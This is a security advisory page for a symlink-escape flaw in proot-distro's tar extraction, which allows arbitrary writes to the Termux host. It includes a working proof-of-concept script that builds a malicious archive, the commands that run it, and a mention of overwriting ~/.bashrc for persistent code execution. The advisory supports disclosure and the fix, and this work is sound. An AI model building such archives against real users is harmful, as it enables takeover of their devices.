GHSA-9XQ3-3FQG-4VG7

Vulnerability from github – Published: 2026-07-29 16:32 – Updated: 2026-07-29 16:32
VLAI
Summary
`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive
Details

Repository: termux/proot-distro
Component: proot_distro/commands/install.py_extract_plain_tar(); also helpers/docker.py_apply_layer()


Affected Versions

Component Version
proot-distro 5.0.2 (confirmed vulnerable)
Termux app 0.119.0-beta.3
Device / ABI Samsung Galaxy A23 / aarch64
Python (host) 3.13

Vulnerability Description

proot-distro install extracts a plain tarball rootfs by calling _extract_plain_tar() in proot_distro/commands/install.py. This function correctly rejects tar member names containing .. components, but applies no equivalent check on symlink targets (member.linkname). A tar archive can therefore:

  1. Plant a symlink inside the rootfs whose target is an absolute host path (e.g. /data/data/com.termux/files/home).
  2. Write a subsequent regular-file member whose path traverses through that symlink name.

Python's open() follows the symlink, writing the file on the host filesystem at the privilege level of the Termux process — entirely during proot-distro install, before the container is ever run.

The same _extract_plain_tar function is reachable via proot-distro reset, and the equivalent _apply_layer in helpers/docker.py contains the same flaw.


Vulnerable Code

proot_distro/commands/install.py, _extract_plain_tar():

elif member.issym():
    # linkname taken verbatim from archive — no validation of target
    os.symlink(member.linkname, dest)        # ← symlink planted on host

elif member.isreg():
    dest = os.path.join(rootfs_dir, rel_path)
    with open(dest, 'wb') as out:            # ← follows symlink above
        ...

The existing traversal guard only covers member names:

if any(p in ('..', '') for p in rel_parts):
    continue  # only checks the name, not the symlink target

There is no check on member.linkname. An absolute symlink target bypasses this guard entirely.

Check Member name (rel_path) Symlink target (member.linkname)
Reject .. components
Confirm stays inside rootfs_dir

Proof of Concept

Step 1 — Craft a malicious archive

# craft_evil_layer.py
import tarfile, io, hashlib

PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:

    # Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
    sym = tarfile.TarInfo(name='escape')
    sym.type = tarfile.SYMTYPE
    sym.linkname = '/data/data/com.termux/files/home'
    tf.addfile(sym)

    # Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
    reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
    reg.size = len(PAYLOAD)
    tf.addfile(reg, io.BytesIO(PAYLOAD))

data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
    f.write(data)

print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())

Step 2 — Install the archive

$ python craft_evil_layer.py
Created evil.tar.gz
sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57

$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.

Step 3 — Verify proot-distro version

$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Version: 5.0.2

Step 4 — Verify host write

$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS

POC_SUCCESS was written directly into the host Termux $HOME during installation, with no container login required.


Impact

  • Arbitrary host file write at the full privilege of the Termux process, triggered solely by proot-distro install — no container interaction required.
  • A malicious .tar.gz / .tar.xz / .tgz archive delivered via a file download, CI artifact, or compromised mirror is sufficient to exploit this.
  • Practical payloads include overwriting ~/.bashrc, ~/.profile, $PREFIX/etc/bash.bashrc, or any file in the Termux home/prefix, achieving persistent code execution the next time the user opens a shell.
  • Also reachable via proot-distro reset if the malicious archive is reused, and via _apply_layer in helpers/docker.py.

Root Cause

_extract_plain_tar validates member names against .. traversal but places no restriction on symlink targets. The two vectors are treated asymmetrically:

Check Member name (rel_path) Symlink target (member.linkname)
Reject .. components
Confirm stays inside rootfs_dir

The member-name check (any(p in ('..', '') for p in rel_parts)) is necessary but not sufficient: a symlink with an absolute target bypasses it entirely.


Proposed Fix

Add a guard that rejects any symlink whose resolved target falls outside rootfs_dir. Apply in both _extract_plain_tar and _apply_layer:

def _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool:
    """Return True only if the symlink target resolves inside rootfs_dir."""
    if os.path.isabs(linkname):
        return False  # absolute targets always escape on the host
    resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname))
    real_root = os.path.realpath(rootfs_dir)
    real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved)
                     else os.path.normpath(resolved))
    return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root

Then in _extract_plain_tar:

elif member.issym():
    if not _is_safe_symlink(rootfs_dir, dest, member.linkname):
        continue  # drop unsafe symlink
    if os.path.lexists(dest):
        ...
    os.symlink(member.linkname, dest)

Apply the identical guard inside _apply_layer in helpers/docker.py.

Note: A stricter alternative — matching Docker's own behavior — is to rewrite absolute symlink targets to relative paths within the rootfs rather than dropping them, to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as /usr/lib → /lib.


Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.
Maintainer: @sylirre — report via GitHub Security Advisory on the termux/proot-distro repository.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.1.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "proot-distro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54574"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:32:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**Repository:** `termux/proot-distro`  \n**Component:** `proot_distro/commands/install.py` \u2192 `_extract_plain_tar()`; also `helpers/docker.py` \u2192 `_apply_layer()`    \n\n---\n\n## Affected Versions\n\n| Component     | Version                      |\n|---------------|------------------------------|\n| proot-distro  | 5.0.2 (confirmed vulnerable) |\n| Termux app    | 0.119.0-beta.3               |\n| Device / ABI  | Samsung Galaxy A23 / aarch64 |\n| Python (host) | 3.13                         |\n\n---\n\n## Vulnerability Description\n\n`proot-distro install` extracts a plain tarball rootfs by calling `_extract_plain_tar()` in\n`proot_distro/commands/install.py`. This function correctly rejects tar member **names**\ncontaining `..` components, but applies **no equivalent check on symlink targets**\n(`member.linkname`). A tar archive can therefore:\n\n1. Plant a symlink inside the rootfs whose target is an **absolute host path**\n   (e.g. `/data/data/com.termux/files/home`).\n2. Write a subsequent regular-file member whose path traverses through that symlink name.\n\nPython\u0027s `open()` follows the symlink, writing the file **on the host filesystem** at the\nprivilege level of the Termux process \u2014 entirely during `proot-distro install`, before the\ncontainer is ever run.\n\nThe same `_extract_plain_tar` function is reachable via `proot-distro reset`, and the\nequivalent `_apply_layer` in `helpers/docker.py` contains the same flaw.\n\n---\n\n## Vulnerable Code\n\n**`proot_distro/commands/install.py`**, `_extract_plain_tar()`:\n\n```python\nelif member.issym():\n    # linkname taken verbatim from archive \u2014 no validation of target\n    os.symlink(member.linkname, dest)        # \u2190 symlink planted on host\n\nelif member.isreg():\n    dest = os.path.join(rootfs_dir, rel_path)\n    with open(dest, \u0027wb\u0027) as out:            # \u2190 follows symlink above\n        ...\n```\n\nThe existing traversal guard only covers member **names**:\n\n```python\nif any(p in (\u0027..\u0027, \u0027\u0027) for p in rel_parts):\n    continue  # only checks the name, not the symlink target\n```\n\nThere is **no check on `member.linkname`**. An absolute symlink target bypasses this guard\nentirely.\n\n| Check                              | Member name (`rel_path`) | Symlink target (`member.linkname`) |\n|------------------------------------|:------------------------:|:----------------------------------:|\n| Reject `..` components             | \u2705                        | \u274c                                  |\n| Confirm stays inside `rootfs_dir`  | \u274c                        | \u274c                                  |\n\n---\n\n## Proof of Concept\n\n### Step 1 \u2014 Craft a malicious archive\n\n```python\n# craft_evil_layer.py\nimport tarfile, io, hashlib\n\nPAYLOAD = b\"TERMUX_ESCAPE_SUCCESS\\n\"\n\nbuf = io.BytesIO()\nwith tarfile.open(fileobj=buf, mode=\u0027w:gz\u0027) as tf:\n\n    # Plant symlink: \u003crootfs\u003e/escape \u2192 /data/data/com.termux/files/home\n    sym = tarfile.TarInfo(name=\u0027escape\u0027)\n    sym.type = tarfile.SYMTYPE\n    sym.linkname = \u0027/data/data/com.termux/files/home\u0027\n    tf.addfile(sym)\n\n    # Write file through symlink: \u003crootfs\u003e/escape/POC_SUCCESS \u2192 host ~/POC_SUCCESS\n    reg = tarfile.TarInfo(name=\u0027escape/POC_SUCCESS\u0027)\n    reg.size = len(PAYLOAD)\n    tf.addfile(reg, io.BytesIO(PAYLOAD))\n\ndata = buf.getvalue()\nwith open(\u0027evil.tar.gz\u0027, \u0027wb\u0027) as f:\n    f.write(data)\n\nprint(\"Created evil.tar.gz\")\nprint(\"sha256:\", hashlib.sha256(data).hexdigest())\n```\n\n### Step 2 \u2014 Install the archive\n\n```\n$ python craft_evil_layer.py\nCreated evil.tar.gz\nsha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57\n\n$ proot-distro install ./evil.tar.gz\n[*] Installing from \u0027evil.tar.gz\u0027 as \u0027evil\u0027...\n[*] Extracting rootfs from archive...\n[*] Finished installation.\n```\n\n### Step 3 \u2014 Verify proot-distro version\n\n```\n$ pkg show proot-distro | grep Version\nWARNING: apt does not have a stable CLI interface. Use with caution in scripts.\n\nVersion: 5.0.2\n```\n\n### Step 4 \u2014 Verify host write\n\n```\n$ cat ~/POC_SUCCESS\nTERMUX_ESCAPE_SUCCESS\n```\n\n`POC_SUCCESS` was written directly into the host Termux `$HOME` during installation,\nwith no container login required.\n\n---\n\n## Impact\n\n- **Arbitrary host file write** at the full privilege of the Termux process, triggered solely\n  by `proot-distro install` \u2014 no container interaction required.\n- A malicious `.tar.gz` / `.tar.xz` / `.tgz` archive delivered via a file download, CI\n  artifact, or compromised mirror is sufficient to exploit this.\n- Practical payloads include overwriting `~/.bashrc`, `~/.profile`,\n  `$PREFIX/etc/bash.bashrc`, or any file in the Termux home/prefix, achieving **persistent\n  code execution** the next time the user opens a shell.\n- Also reachable via `proot-distro reset` if the malicious archive is reused, and via\n  `_apply_layer` in `helpers/docker.py`.\n\n---\n\n## Root Cause\n\n`_extract_plain_tar` validates member **names** against `..` traversal but places no\nrestriction on symlink **targets**. The two vectors are treated asymmetrically:\n\n| Check                              | Member name (`rel_path`) | Symlink target (`member.linkname`) |\n|------------------------------------|:------------------------:|:----------------------------------:|\n| Reject `..` components             | \u2705                        | \u274c                                  |\n| Confirm stays inside `rootfs_dir`  | \u274c                        | \u274c                                  |\n\nThe member-name check (`any(p in (\u0027..\u0027, \u0027\u0027) for p in rel_parts)`) is necessary but not\nsufficient: a symlink with an absolute target bypasses it entirely.\n\n---\n\n## Proposed Fix\n\nAdd a guard that rejects any symlink whose resolved target falls outside `rootfs_dir`.\nApply in both `_extract_plain_tar` and `_apply_layer`:\n\n```python\ndef _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -\u003e bool:\n    \"\"\"Return True only if the symlink target resolves inside rootfs_dir.\"\"\"\n    if os.path.isabs(linkname):\n        return False  # absolute targets always escape on the host\n    resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname))\n    real_root = os.path.realpath(rootfs_dir)\n    real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved)\n                     else os.path.normpath(resolved))\n    return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root\n```\n\nThen in `_extract_plain_tar`:\n\n```python\nelif member.issym():\n    if not _is_safe_symlink(rootfs_dir, dest, member.linkname):\n        continue  # drop unsafe symlink\n    if os.path.lexists(dest):\n        ...\n    os.symlink(member.linkname, dest)\n```\n\nApply the identical guard inside `_apply_layer` in `helpers/docker.py`.\n\n\u003e **Note:** A stricter alternative \u2014 matching Docker\u0027s own behavior \u2014 is to **rewrite**\n\u003e absolute symlink targets to relative paths within the rootfs rather than dropping them,\n\u003e to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as\n\u003e `/usr/lib \u2192 /lib`.\n\n---\n\n*Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.*  \n*Maintainer: @sylirre \u2014 report via GitHub Security Advisory on the `termux/proot-distro` repository.*",
  "id": "GHSA-9xq3-3fqg-4vg7",
  "modified": "2026-07-29T16:32:34Z",
  "published": "2026-07-29T16:32:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/security/advisories/GHSA-9xq3-3fqg-4vg7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/commit/a96d7a9667f38e45d812614852ee3915d1c0ae45"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/termux/proot-distro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/releases/tag/v5.1.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…